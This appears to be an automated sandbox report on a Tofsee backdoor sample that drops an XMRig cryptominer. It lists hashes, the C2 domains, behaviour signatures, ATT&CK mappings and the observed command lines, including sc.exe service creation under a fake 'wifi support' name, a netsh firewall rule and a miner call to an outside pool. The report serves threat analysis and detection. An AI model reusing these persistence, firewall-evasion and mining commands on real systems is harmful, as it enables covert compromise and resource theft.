Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    14-06-2022 03:30

General

  • Target

    ae4b357c8ea064e14188d87cc847c065bb1d936f3e894fce44a87ac945853d0f.exe

  • Size

    258KB

  • MD5

    2344d1fddd53b40a7796dd48ba1bf3c3

  • SHA1

    1329f9055c52477dc682c102acd15cd1a8ce0bf2

  • SHA256

    ae4b357c8ea064e14188d87cc847c065bb1d936f3e894fce44a87ac945853d0f

  • SHA512

    ae2fc2595147384f9ddc2b87fe78dd218a2f668ef30737fd9974d104b2acd7286ac525d8f5a11102f30d747b4171914a1ac96cd9b67c9dc2e36979545544eed9

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ae4b357c8ea064e14188d87cc847c065bb1d936f3e894fce44a87ac945853d0f.exe
    "C:\Users\Admin\AppData\Local\Temp\ae4b357c8ea064e14188d87cc847c065bb1d936f3e894fce44a87ac945853d0f.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1396
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hcvydhzx\
      2⤵
        PID:4748
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\frtjvmby.exe" C:\Windows\SysWOW64\hcvydhzx\
        2⤵
          PID:916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hcvydhzx binPath= "C:\Windows\SysWOW64\hcvydhzx\frtjvmby.exe /d\"C:\Users\Admin\AppData\Local\Temp\ae4b357c8ea064e14188d87cc847c065bb1d936f3e894fce44a87ac945853d0f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1516
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hcvydhzx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hcvydhzx
          2⤵
          • Launches sc.exe
          PID:4584
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2840
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1396 -s 1036
          2⤵
          • Program crash
          PID:340
      • C:\Windows\SysWOW64\hcvydhzx\frtjvmby.exe
        C:\Windows\SysWOW64\hcvydhzx\frtjvmby.exe /d"C:\Users\Admin\AppData\Local\Temp\ae4b357c8ea064e14188d87cc847c065bb1d936f3e894fce44a87ac945853d0f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:448
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1564
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1512 -s 512
          2⤵
          • Program crash
          PID:4496
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1396 -ip 1396
        1⤵
          PID:3612
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1512 -ip 1512
          1⤵
            PID:3924

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\frtjvmby.exe
            Filesize

            11.6MB

            MD5

            48760c610db563f11bd312d45a540bae

            SHA1

            21971796c0bddb585a85cb62416aaa5214e4c4c3

            SHA256

            17aec163dac10930aae3af6f3b422151166b965e982b21d523b58f9ddfbbd596

            SHA512

            53798c92c3d54f8967cf45d6441c96d787075b66ad733fa862bd62e919cf0b64f4c08de7ad6e8fe2208b8f1ae14943bbecdccd1b1f515cdb555e6f5da9eddcbb

          • C:\Windows\SysWOW64\hcvydhzx\frtjvmby.exe
            Filesize

            11.6MB

            MD5

            48760c610db563f11bd312d45a540bae

            SHA1

            21971796c0bddb585a85cb62416aaa5214e4c4c3

            SHA256

            17aec163dac10930aae3af6f3b422151166b965e982b21d523b58f9ddfbbd596

            SHA512

            53798c92c3d54f8967cf45d6441c96d787075b66ad733fa862bd62e919cf0b64f4c08de7ad6e8fe2208b8f1ae14943bbecdccd1b1f515cdb555e6f5da9eddcbb

          • memory/448-157-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/448-143-0x0000000000000000-mapping.dmp
          • memory/448-144-0x0000000000BC0000-0x0000000000BD5000-memory.dmp
            Filesize

            84KB

          • memory/448-166-0x00000000031E0000-0x00000000031E7000-memory.dmp
            Filesize

            28KB

          • memory/448-163-0x0000000008000000-0x000000000840B000-memory.dmp
            Filesize

            4.0MB

          • memory/448-160-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/448-154-0x0000000000FE0000-0x0000000000FE6000-memory.dmp
            Filesize

            24KB

          • memory/448-151-0x0000000002E00000-0x000000000300F000-memory.dmp
            Filesize

            2.1MB

          • memory/448-150-0x0000000000BC0000-0x0000000000BD5000-memory.dmp
            Filesize

            84KB

          • memory/448-149-0x0000000000BC0000-0x0000000000BD5000-memory.dmp
            Filesize

            84KB

          • memory/916-134-0x0000000000000000-mapping.dmp
          • memory/1396-130-0x0000000000BE2000-0x0000000000BF2000-memory.dmp
            Filesize

            64KB

          • memory/1396-142-0x0000000000400000-0x0000000000B34000-memory.dmp
            Filesize

            7.2MB

          • memory/1396-132-0x0000000000400000-0x0000000000B34000-memory.dmp
            Filesize

            7.2MB

          • memory/1396-141-0x0000000000BE2000-0x0000000000BF2000-memory.dmp
            Filesize

            64KB

          • memory/1396-131-0x0000000000F00000-0x0000000000F13000-memory.dmp
            Filesize

            76KB

          • memory/1512-148-0x0000000000400000-0x0000000000B34000-memory.dmp
            Filesize

            7.2MB

          • memory/1512-147-0x0000000000B6E000-0x0000000000B7E000-memory.dmp
            Filesize

            64KB

          • memory/1516-136-0x0000000000000000-mapping.dmp
          • memory/1564-175-0x00000000004F0000-0x00000000005E1000-memory.dmp
            Filesize

            964KB

          • memory/1564-169-0x0000000000000000-mapping.dmp
          • memory/1564-170-0x00000000004F0000-0x00000000005E1000-memory.dmp
            Filesize

            964KB

          • memory/2840-139-0x0000000000000000-mapping.dmp
          • memory/4584-138-0x0000000000000000-mapping.dmp
          • memory/4716-137-0x0000000000000000-mapping.dmp
          • memory/4748-133-0x0000000000000000-mapping.dmp